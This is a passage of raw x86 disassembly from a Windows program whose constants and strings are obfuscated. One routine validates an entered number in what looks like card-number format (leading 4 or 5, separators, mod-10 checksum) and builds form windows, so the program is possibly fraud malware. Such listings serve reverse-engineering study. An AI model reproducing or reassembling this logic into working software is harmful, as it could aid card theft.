		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ds:dword_54FC20[edi*4]
		call	ds:dword_54EA4C
		cmp	[ebp+var_14], 103h
		jz	short loc_43CC19
		push	ds:dword_54FC20[edi*4]
		call	ds:dword_4CDA48
		mov	ebx, dword_551204
		add	ebx, dword_551230
		sub	ebx, 8
		mov	ds:dword_54FC20[edi*4],	ebx


loc_43CC19:				; CODE XREF: sub_43CB55+72j
					; sub_43CB55+9Fj
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_54EA64
		mov	[ebp+var_4], eax
		cmp	eax, 4
		jz	short loc_43CC6D
		cmp	eax, 3
		jz	short loc_43CC6D
		cmp	eax, 2
		jz	short loc_43CC6D
		movsx	ebx, word_5511CC
		add	ebx, dword_5510C8
		sub	ebx, 6
		cmp	ds:dword_54FC20[edi*4],	ebx
		jz	loc_43CD11
		mov	ebx, dword_551184
		add	ebx, dword_5511E0
		sub	ebx, 11h
		mov	ds:dword_44B5E0[edi*4],	ebx
		jmp	loc_43CD11
; ---------------------------------------------------------------------------


loc_43CC6D:				; CODE XREF: sub_43CB55+D4j
					; sub_43CB55+D9j ...
		push	1
		call	ds:dword_449FC0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_44B088
		movsx	ebx, word_551168
		sub	ebx, 4
		cmp	ebx, eax
		jnz	short loc_43CCB9
		cmp	ds:dword_54FC20[edi*4],	0
		jz	short loc_43CD11
		mov	ebx, dword_551124
		sub	ebx, 9
		mov	ds:dword_44B5E0[edi*4],	ebx
		jmp	short loc_43CD11
; ---------------------------------------------------------------------------


loc_43CCB9:				; CODE XREF: sub_43CB55+146j
		mov	ebx, dword_551270
		sub	ebx, 5
		cmp	ds:dword_54FC20[edi*4],	ebx
		jnz	short loc_43CD11
		mov	ds:dword_44B5E0[edi*4],	edi
		lea	eax, [ebp+var_28]
		push	eax
		movsx	eax, word_5511C4
		add	eax, dword_55109C
		sub	eax, 0Eh
		push	eax
		lea	ebx, ds:44B5E0h[edi*4]
		push	ebx
		push	offset sub_442C83
		mov	ebx, dword_5510FC
		sub	ebx, 2
		push	ebx
		push	dword_55118C
		call	ds:dword_550020
		mov	ds:dword_54FC20[edi*4],	eax


loc_43CD11:				; CODE XREF: sub_43CB55+F7j
					; sub_43CB55+113j ...
		inc	edi


loc_43CD12:				; CODE XREF: sub_43CB55+32j
		cmp	edi, 5Ah
		jbe	loc_43CB8C
		mov	eax, dword_55109C
		sub	eax, 7
		push	eax
		call	ds:dword_50EA24
		pop	ecx
		jmp	loc_43CB82
sub_43CB55	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CD37	proc near		; CODE XREF: sub_44300F+C41p

var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C6		= byte ptr -2C6h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_253		= byte ptr -253h
var_154		= byte ptr -154h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh
var_FB		= byte ptr -0FBh
var_F9		= byte ptr -0F9h
var_F6		= byte ptr -0F6h
var_F4		= byte ptr -0F4h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 324h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	loc_43DF16
		mov	eax, [ebp+arg_0]
		mov	edx, dword_551164
		cmp	byte ptr [eax+edx], 34h
		jz	short loc_43CD6F
		mov	edx, dword_551190
		sub	edx, 6
		cmp	byte ptr [eax+edx], 35h
		jnz	loc_43DF16


loc_43CD6F:				; CODE XREF: sub_43CD37+23j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43CD77:				; CODE XREF: sub_43CD37+45j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43CD77
		mov	[ebp+var_128], eax
		mov	edx, dword_551238
		add	edx, 1
		add	edx, dword_5511E0
		cmp	eax, edx
		jz	short loc_43CDA8
		mov	edx, dword_5510C0
		add	edx, 0Fh
		cmp	eax, edx
		jnz	loc_43DF16


loc_43CDA8:				; CODE XREF: sub_43CD37+5Ej
		mov	ebx, dword_551098
		sub	ebx, 2
		jmp	short loc_43CDD1
; ---------------------------------------------------------------------------


loc_43CDB3:				; CODE XREF: sub_43CD37+AEj
		mov	eax, 30h
		mul	ebx
		mov	[ebp+var_260], eax
		mov	eax, ds:dword_4CC650[eax]
		cmp	[ebp+arg_4], eax
		jz	loc_43DF16
		inc	ebx


loc_43CDD1:				; CODE XREF: sub_43CD37+7Aj
		movsx	eax, word_55123C
		movsx	edx, word_5511EC
		lea	eax, [eax+edx+5Eh]
		cmp	ebx, eax
		jb	short loc_43CDB3
		mov	eax, dword_55125C
		add	eax, 0Eh
		add	eax, dword_55118C
		cmp	eax, [ebp+var_128]
		jnz	loc_43D026
		mov	eax, [ebp+arg_0]
		mov	edx, dword_5510C4
		add	edx, dword_5511F4
		sub	edx, 5
		cmp	byte ptr [eax+edx], 2Dh
		jz	short loc_43CE34
		movsx	edx, word_55111C
		mov	ecx, dword_5510F4
		lea	edx, [edx+ecx+7]
		cmp	byte ptr [eax+edx], 20h
		jnz	loc_43DF16


loc_43CE34:				; CODE XREF: sub_43CD37+E0j
		mov	eax, [ebp+arg_0]
		movsx	edx, word_551170
		movsx	ecx, word_551254
		add	edx, ecx
		sub	edx, 5
		cmp	byte ptr [eax+edx], 2Dh
		jz	short loc_43CE62
		movsx	edx, word_55120C
		cmp	byte ptr [edx+eax+4], 20h
		jnz	loc_43DF16


loc_43CE62:				; CODE XREF: sub_43CD37+117j
		mov	eax, [ebp+arg_0]
		mov	edx, dword_55113C
		movsx	ecx, word_5510D8
		add	edx, ecx
		sub	edx, 4
		cmp	byte ptr [eax+edx], 20h
		jz	short loc_43CE96
		mov	edx, dword_5510F8
		add	edx, 3
		add	edx, dword_5511B8
		cmp	byte ptr [eax+edx], 2Dh
		jnz	loc_43DF16


loc_43CE96:				; CODE XREF: sub_43CD37+144j
		mov	eax, dword_551128
		add	eax, 4
		movsx	edx, word_5510EC
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Dh]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_551270
		mov	edx, eax
		add	edx, eax
		mov	eax, [ebp+arg_0]
		mov	al, [eax+1]
		mov	byte ptr [ebp+edx+var_108], al
		mov	eax, dword_5511D8
		add	eax, dword_551244
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+8]
		mov	byte ptr [ebp+eax+var_108+2], dl
		mov	eax, dword_55118C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_551174
		add	eax, dword_5510DC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+6]
		mov	byte ptr [ebp+eax+var_102], dl
		mov	eax, dword_551108
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ah]
		mov	[ebp+eax+var_F9], dl
		mov	eax, dword_551114
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+7]
		mov	[ebp+eax+var_FB], dl
		movsx	eax, word_5511C8
		add	eax, dword_551134
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+12h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_5510C4
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+10h]
		mov	[ebp+eax+var_FB], dl
		movsx	eax, word_551140
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+2]
		mov	byte ptr [ebp+eax+var_102], dl
		mov	eax, dword_5510A8
		movsx	edx, word_5511BC
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ch]
		mov	byte ptr [ebp+eax+var_102], dl
		mov	eax, dword_55121C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Bh]
		mov	[ebp+eax+var_F6], dl
		movsx	eax, word_55123C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+11h]
		mov	[ebp+eax+var_F4], dl
		mov	eax, dword_551118
		movsx	edx, word_55115C
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+5]
		mov	byte ptr [ebp+eax+var_108+1], dl
		mov	eax, dword_551160
		add	eax, 4
		movsx	edx, word_551194
		add	eax, edx
		movsx	edx, word_551224
		sub	edx, 2
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_551208
		add	eax, dword_551198
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+3]
		mov	byte ptr [ebp+eax+var_102+1], dl
		movsx	eax, word_551170
		movsx	edx, word_551144
		lea	eax, [eax+edx+0Ah]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Fh]
		mov	[ebp+eax+var_FF], dl
		jmp	short loc_43D035
; ---------------------------------------------------------------------------


loc_43D026:				; CODE XREF: sub_43CD37+C4j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_44799C


loc_43D035:				; CODE XREF: sub_43CD37+2EDj
		mov	eax, dword_551230
		mov	esi, eax
		add	esi, dword_55121C
		sub	esi, 5
		jmp	short loc_43D05C
; ---------------------------------------------------------------------------


loc_43D047:				; CODE XREF: sub_43CD37+334j
		mov	al, [ebp+esi+var_FF]
		cmp	al, 39h
		jg	short loc_43D056
		cmp	al, 30h
		jge	short loc_43D05B


loc_43D056:				; CODE XREF: sub_43CD37+319j
		jmp	loc_43DF16
; ---------------------------------------------------------------------------


loc_43D05B:				; CODE XREF: sub_43CD37+31Dj
		inc	esi


loc_43D05C:				; CODE XREF: sub_43CD37+30Ej
		movsx	eax, word_5510A0
		add	eax, dword_55116C
		cmp	esi, eax
		jb	short loc_43D047
		mov	eax, dword_55126C
		sub	eax, 8
		mov	[ebp+var_108], eax
		mov	esi, dword_551118
		sub	esi, 9
		jmp	short loc_43D0C4
; ---------------------------------------------------------------------------


loc_43D086:				; CODE XREF: sub_43CD37+3A0j
		mov	eax, dword_551264
		dec	eax
		movsx	edx, [ebp+esi+var_FF]
		sub	edx, 30h
		imul	eax, edx
		add	[ebp+var_108], eax
		cmp	[ebp+esi+var_FF], 34h
		jle	short loc_43D0B8
		mov	eax, dword_551150
		add	eax, 5
		sub	[ebp+var_108], eax


loc_43D0B8:				; CODE XREF: sub_43CD37+371j
		movsx	eax, word_5510AC
		sub	eax, 5
		add	esi, eax


loc_43D0C4:				; CODE XREF: sub_43CD37+34Dj
		mov	eax, dword_55113C
		add	eax, 4
		movsx	edx, word_55123C
		add	eax, edx
		cmp	esi, eax
		jb	short loc_43D086
		mov	eax, dword_5511F0
		mov	ebx, eax
		add	ebx, dword_5511F4
		sub	ebx, 0Dh
		jmp	short loc_43D104
; ---------------------------------------------------------------------------


loc_43D0EB:				; CODE XREF: sub_43CD37+3E0j
		movsx	eax, [ebp+ebx+var_FF]
		sub	eax, 30h
		add	[ebp+var_108], eax
		mov	eax, dword_5510C0
		inc	eax
		add	ebx, eax


loc_43D104:				; CODE XREF: sub_43CD37+3B2j
		movsx	eax, word_551254
		mov	edx, dword_5510C0
		lea	eax, [eax+edx+7]
		cmp	ebx, eax
		jb	short loc_43D0EB
		mov	eax, [ebp+var_108]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		mov	edi, dword_55109C
		add	edi, dword_55122C
		sub	edi, 8
		cmp	edx, edi
		jnz	loc_43DF16
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_54EB74
		pop	ecx
		mov	edi, dword_551238
		add	edi, dword_551270
		sub	edi, 0Eh
		cmp	eax, edi
		jnz	loc_43DF16
		movsx	eax, word_551140
		movsx	edx, word_551188
		mov	esi, eax
		add	esi, edx
		sub	esi, 0Ah
		movsx	eax, word_5510E4
		movsx	edx, word_551170
		mov	esi, eax
		add	esi, edx
		dec	esi
		jmp	short loc_43D1B3
; ---------------------------------------------------------------------------


loc_43D18E:				; CODE XREF: sub_43CD37+490j
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_264], eax
		mov	eax, dword_55110C
		sub	eax, 9
		mov	edx, [ebp+var_264]
		cmp	ds:dword_4CC650[edx], eax
		jz	short loc_43D1C9
		inc	esi


loc_43D1B3:				; CODE XREF: sub_43CD37+455j
		movsx	eax, word_551168
		movsx	edx, word_5510EC
		lea	eax, [eax+edx+60h]
		cmp	esi, eax
		jb	short loc_43D18E


loc_43D1C9:				; CODE XREF: sub_43CD37+479j
		movsx	eax, word_551194
		mov	edx, dword_551204
		lea	eax, [eax+edx+5Ah]
		cmp	esi, eax
		jz	loc_43DF16
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_268], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_268]
		mov	ds:dword_4CC650[edx], eax
		push	offset byte_552485
		call	sub_43AC94
		pop	ecx
		mov	edi, dword_551204
		sub	edi, 3
		push	edi
		push	eax
		movsx	edi, word_5511C4
		sub	edi, 7
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_50EA30
		mov	[ebp+var_134], eax
		mov	ecx, dword_5511FC
		add	ecx, dword_551244
		sub	ecx, 7
		cmp	ecx, eax
		jnz	short loc_43D24B
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_134], eax


loc_43D24B:				; CODE XREF: sub_43CD37+509j
		push	offset dword_552478
		call	sub_43AC94
		push	eax
		push	[ebp+var_134]
		call	sub_43DFC4
		mov	[ebp+var_12C], eax
		push	offset dword_55246C
		call	sub_43AC94
		push	eax
		push	[ebp+var_12C]
		call	sub_43DFC4
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_26C], eax
		mov	ebx, eax
		mov	ds:dword_4CC654[ebx], edi
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_270], eax
		push	ds:dword_4CC654[eax]
		call	ds:dword_54EA58
		mov	eax, dword_5511B4
		dec	eax
		push	eax
		call	ds:dword_44B598
		mov	[ebp+var_10C], eax
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_12C]
		call	ds:dword_54EA50
		push	offset word_552462
		call	sub_43AC94
		add	esp, 1Ch
		push	dword_5511C0
		push	[ebp+var_10C]
		mov	edi, dword_5511E4
		sub	edi, 5
		push	edi
		push	[ebp+var_12C]
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		push	edi
		mov	edi, [ebp+var_114]
		sub	edi, [ebp+var_11C]
		push	edi
		movsx	edi, word_55120C
		add	edi, dword_5510C0
		dec	edi
		push	edi
		mov	edi, dword_5511E0
		add	edi, dword_551174
		sub	edi, 0Ah
		push	edi
		push	50800000h
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		push	200h
		call	ds:dword_4CDA3C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_274], eax
		mov	ebx, eax
		mov	ds:dword_4CC658[ebx], edi
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		movsx	edx, word_5511CC
		add	edx, 27h
		sub	eax, edx
		mov	[ebp+var_120], eax
		mov	edi, [ebp+var_110]
		mov	ebx, dword_55121C
		add	ebx, 0FAh
		sub	edi, ebx
		sub	edi, [ebp+var_118]
		movsx	ebx, word_551268
		add	ebx, 39h
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		test	eax, eax
		setl	dl
		add	eax, edx
		sar	eax, 1
		mov	[ebp+var_124], eax
		movsx	edx, word_551170
		dec	edx
		cmp	eax, edx
		jge	short loc_43D3E2
		movsx	eax, word_551110
		add	eax, dword_5510F4
		sub	eax, 2
		mov	[ebp+var_124], eax


loc_43D3E2:				; CODE XREF: sub_43CD37+693j
		push	offset dword_552458
		call	sub_43AC94
		mov	[ebp+var_278], eax
		push	offset dword_552454
		call	sub_43AC94
		mov	[ebp+var_27C], eax
		movsx	edi, word_551168
		add	edi, dword_5511D0
		sub	edi, 7
		push	edi
		push	[ebp+var_10C]
		movsx	edi, word_5511C4
		sub	edi, 7
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_280], eax
		mov	edi, eax
		push	ds:dword_4CC658[edi]
		movsx	edi, word_5511BC
		mov	ebx, dword_5510A4
		lea	edi, [edi+ebx+0ECh]
		push	edi
		push	[ebp+var_120]
		mov	edi, [ebp+var_124]
		movsx	ebx, word_5511EC
		mov	edx, dword_551148
		lea	ebx, [ebx+edx+32h]
		add	edi, ebx
		mov	ebx, dword_55124C
		add	ebx, dword_5510A8
		sub	ebx, 0Ch
		add	edi, ebx
		push	edi
		mov	edi, dword_5510D4
		add	edi, 0Ch
		movsx	ebx, word_5510B0
		add	edi, ebx
		push	edi
		push	50800009h
		mov	edi, [ebp+var_27C]
		push	edi
		mov	edi, [ebp+var_278]
		push	edi
		mov	edi, dword_5511F4
		add	edi, dword_5510B4
		sub	edi, 9
		push	edi
		call	ds:dword_4CDA3C
		mov	[ebp+var_138], eax
		push	offset word_55244A
		call	sub_43AC94
		mov	[ebp+var_284], eax
		push	offset byte_552431
		call	sub_43AC94
		mov	[ebp+var_288], eax
		mov	edi, dword_551204
		movsx	ebx, word_5510EC
		add	edi, ebx
		sub	edi, 3
		push	edi
		push	[ebp+var_10C]
		mov	edi, dword_5510A8
		sub	edi, 8
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_28C], eax
		mov	edi, eax
		push	ds:dword_4CC658[edi]
		movsx	edi, word_551188
		add	edi, 37h
		push	edi
		push	[ebp+var_120]
		push	[ebp+var_124]
		movsx	edi, word_551104
		mov	ebx, dword_551174
		lea	edi, [edi+ebx+0Eh]
		push	edi
		push	50800000h
		mov	edi, [ebp+var_288]
		push	edi
		mov	edi, [ebp+var_284]
		push	edi
		mov	edi, dword_5510DC
		add	edi, dword_5510E0
		sub	edi, 8
		push	edi
		call	ds:dword_4CDA3C
		mov	[ebp+var_13C], eax
		movsx	eax, word_551274
		movsx	edx, word_551210
		add	eax, edx
		sub	eax, 4
		push	eax
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, dword_5510B4
		movsx	edx, word_551268
		add	eax, edx
		sub	eax, 7
		push	eax
		mov	eax, dword_5511FC
		movsx	edx, word_55112C
		add	eax, edx
		sub	eax, 5
		push	eax
		movsx	eax, word_551110
		dec	eax
		push	eax
		push	2BCh
		mov	eax, dword_5510FC
		movsx	edx, word_551260
		add	eax, edx
		sub	eax, 0Bh
		push	eax
		mov	eax, dword_5511B4
		add	eax, dword_55109C
		sub	eax, 8
		push	eax
		movsx	eax, word_5510B0
		add	eax, 7
		push	eax
		movsx	eax, word_5511A8
		add	eax, 14h
		push	eax
		call	ds:dword_4CC320
		mov	[ebp+var_140], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_13C]
		call	ds:dword_448018
		push	offset byte_552427
		call	sub_43AC94
		mov	[ebp+var_290], eax
		push	offset word_552422
		call	sub_43AC94
		add	esp, 18h
		mov	edi, dword_551128
		sub	edi, 7
		push	edi
		push	[ebp+var_10C]
		mov	edi, dword_5511E4
		sub	edi, 5
		push	edi
		push	[ebp+var_138]
		mov	edi, dword_551160
		mov	ebx, dword_55122C
		lea	ebx, [edi+ebx+0F4h]
		mov	edx, dword_551154
		movsx	ecx, word_551210
		add	edx, ecx
		sub	edx, 6
		sub	ebx, edx
		push	ebx
		mov	ebx, [ebp+var_120]
		movsx	edx, word_5510B0
		add	edi, edx
		sub	edi, 2
		sub	ebx, edi
		push	ebx
		movsx	edi, word_551240
		add	edi, dword_551174
		dec	edi
		push	edi
		mov	edi, dword_5510A8
		sub	edi, 7
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_290]
		push	edi
		movsx	edi, word_551220
		dec	edi
		push	edi
		call	ds:dword_4CDA3C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_294], eax
		mov	ebx, eax
		mov	ds:dword_4CC65C[ebx], edi
		mov	eax, dword_551138
		add	eax, dword_5510D4
		cmp	byte ptr [ebp+eax+var_10C+3], 34h
		jnz	short loc_43D70D
		push	offset word_55241A
		call	sub_43AC94
		pop	ecx
		push	eax
		lea	edi, [ebp+var_154]
		push	edi
		call	sub_44799C
		jmp	short loc_43D725
; ---------------------------------------------------------------------------


loc_43D70D:				; CODE XREF: sub_43CD37+9BAj
		push	offset dword_55240C
		call	sub_43AC94
		pop	ecx
		push	eax
		lea	edi, [ebp+var_154]
		push	edi
		call	sub_44799C


loc_43D725:				; CODE XREF: sub_43CD37+9D4j
		push	offset aN_0	; "n"
		call	sub_43AC94
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_154]
		push	edi
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	ds:dword_50EA28
		push	offset dword_552458
		call	sub_43AC94
		mov	[ebp+var_298], eax
		movsx	edi, word_551144
		dec	edi
		push	edi
		push	[ebp+var_10C]
		mov	edi, dword_5510D0
		sub	edi, 4
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_29C], eax
		mov	edi, eax
		push	ds:dword_4CC65C[edi]
		mov	edi, dword_551124
		add	edi, 27h
		push	edi
		push	[ebp+var_120]
		mov	edi, dword_55113C
		inc	edi
		movsx	ebx, word_5511A8
		add	edi, ebx
		push	edi
		mov	edi, dword_551148
		movsx	ebx, word_551104
		add	edi, ebx
		sub	edi, 2
		push	edi
		push	50000000h
		lea	edi, [ebp+var_253]
		push	edi
		mov	edi, [ebp+var_298]
		push	edi
		mov	edi, dword_551158
		dec	edi
		push	edi
		call	ds:dword_4CDA3C
		mov	[ebp+var_258], eax
		movsx	eax, word_551110
		dec	eax
		push	eax
		push	2
		push	0
		push	0
		push	5
		push	1
		movsx	eax, word_551224
		movsx	edx, word_5511EC
		add	eax, edx
		sub	eax, 5
		push	eax
		mov	eax, dword_5510F4
		mov	edx, dword_5510E8
		add	edx, eax
		mov	eax, edx
		sub	eax, 9
		push	eax
		mov	eax, dword_551184
		add	eax, dword_551154
		sub	eax, 0Fh
		push	eax
		push	190h
		mov	eax, dword_55113C
		sub	eax, 9
		push	eax
		mov	eax, dword_5510F4
		sub	eax, 2
		push	eax
		mov	eax, dword_551238
		add	eax, dword_551244
		sub	eax, 0Ah
		push	eax
		mov	eax, dword_5511B8
		add	eax, 9
		push	eax
		call	ds:dword_4CC320
		mov	[ebp+var_130], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_258]
		call	ds:dword_448018
		push	offset word_55238E
		call	sub_43AC94
		mov	[ebp+var_2A0], eax
		push	offset off_55238A
		call	sub_43AC94
		mov	[ebp+var_2A4], eax
		push	dword_5510BC
		push	[ebp+var_10C]
		mov	edi, dword_551118
		mov	ebx, edi
		add	ebx, dword_55126C
		sub	ebx, 11h
		push	ebx
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A8], eax
		mov	ebx, eax
		push	ds:dword_4CC65C[ebx]
		mov	ebx, dword_551270
		add	ebx, 125h
		add	ebx, dword_551108
		push	ebx
		movsx	ebx, word_551220
		add	ebx, 31h
		push	ebx
		mov	ebx, dword_551250
		add	ebx, 49h
		push	ebx
		mov	ebx, dword_5510D4
		movsx	edx, word_5510A0
		add	ebx, edx
		sub	ebx, 4
		push	ebx
		push	50800003h
		mov	ebx, [ebp+var_2A4]
		push	ebx
		mov	ebx, [ebp+var_2A0]
		push	ebx
		add	edi, dword_551258
		sub	edi, 0Ah
		push	edi
		call	ds:dword_4CDA3C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2AC], eax
		mov	ebx, eax
		mov	ds:dword_4CC660[ebx], edi
		push	offset word_55237E
		call	sub_43AC94
		mov	[ebp+var_2B0], eax
		push	offset word_55237A
		call	sub_43AC94
		add	esp, 28h
		mov	[ebp+var_2B4], eax
		movsx	edi, word_551168
		movsx	ebx, word_551210
		mov	edx, edi
		add	edx, ebx
		mov	ebx, edx
		sub	ebx, 7
		push	ebx
		push	[ebp+var_10C]
		mov	ebx, dword_551204
		movsx	edx, word_55112C
		add	ebx, edx
		sub	ebx, 8
		push	ebx
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B8], eax
		mov	ebx, eax
		push	ds:dword_4CC65C[ebx]
		movsx	ebx, word_551170
		lea	edi, [ebx+edi+127h]
		push	edi
		movsx	edi, word_5510EC
		add	edi, 3Ch
		push	edi
		mov	edi, dword_5510E0
		add	edi, 4Ah
		add	edi, dword_551164
		push	edi
		movsx	edi, word_55111C
		movsx	edx, word_5511BC
		lea	edi, [edi+edx+41h]
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2B4]
		push	edi
		mov	edi, [ebp+var_2B0]
		push	edi
		mov	edi, ebx
		dec	edi
		push	edi
		call	ds:dword_4CDA3C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2BC], eax
		mov	ebx, eax
		mov	ds:dword_4CC664[ebx], edi
		mov	eax, dword_5510D4
		sub	eax, 6
		mov	[ebp+var_102], ax
		jmp	loc_43DAEE
; ---------------------------------------------------------------------------


loc_43DA34:				; CODE XREF: sub_43CD37+DC9j
		push	offset dword_552370
		call	sub_43AC94
		movzx	edi, [ebp+var_102]
		movsx	ebx, word_5511EC
		lea	edi, [edi+ebx+4]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_50EA28
		lea	eax, [ebp+var_2C6]
		push	eax
		mov	eax, dword_551218
		dec	eax
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		push	ds:dword_4CC664[eax]
		call	ds:dword_448018
		push	offset dword_552368
		call	sub_43AC94
		movzx	edi, [ebp+var_102]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_50EA28
		add	esp, 20h
		lea	eax, [ebp+var_2C6]
		push	eax
		mov	eax, dword_5510D0
		movsx	edx, word_5510F0
		add	eax, edx
		sub	eax, 7
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_4CC660[eax]
		call	ds:dword_448018
		inc	[ebp+var_102]


loc_43DAEE:				; CODE XREF: sub_43CD37+CF8j
		movzx	eax, [ebp+var_102]
		mov	edx, dword_5510DC
		add	edx, 6
		cmp	eax, edx
		jl	loc_43DA34
		push	offset dword_552360
		call	sub_43AC94
		mov	[ebp+var_2C0], eax
		push	offset dword_55235C
		call	sub_43AC94
		mov	[ebp+var_2C4], eax
		mov	edi, dword_55117C
		add	edi, dword_551164
		sub	edi, 5
		push	edi
		push	[ebp+var_10C]
		movsx	edi, word_551110
		dec	edi
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp-2C8h], eax
		mov	edi, eax
		push	ds:dword_4CC65C[edi]
		movsx	edi, word_55123C
		movsx	ebx, word_551274
		lea	ebx, [ebx+edi+14h]
		push	ebx
		add	edi, 52h
		push	edi
		mov	edi, dword_5511D0
		add	edi, 70h
		movsx	ebx, word_551260
		add	edi, ebx
		push	edi
		mov	edi, dword_551150
		add	edi, 2Bh
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2C4]
		push	edi
		mov	edi, [ebp+var_2C0]
		push	edi
		push	200h
		call	ds:dword_4CDA3C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		mov	ebx, eax
		mov	ds:dword_4CC668[ebx], edi
		mov	eax, dword_55116C
		add	eax, dword_551138
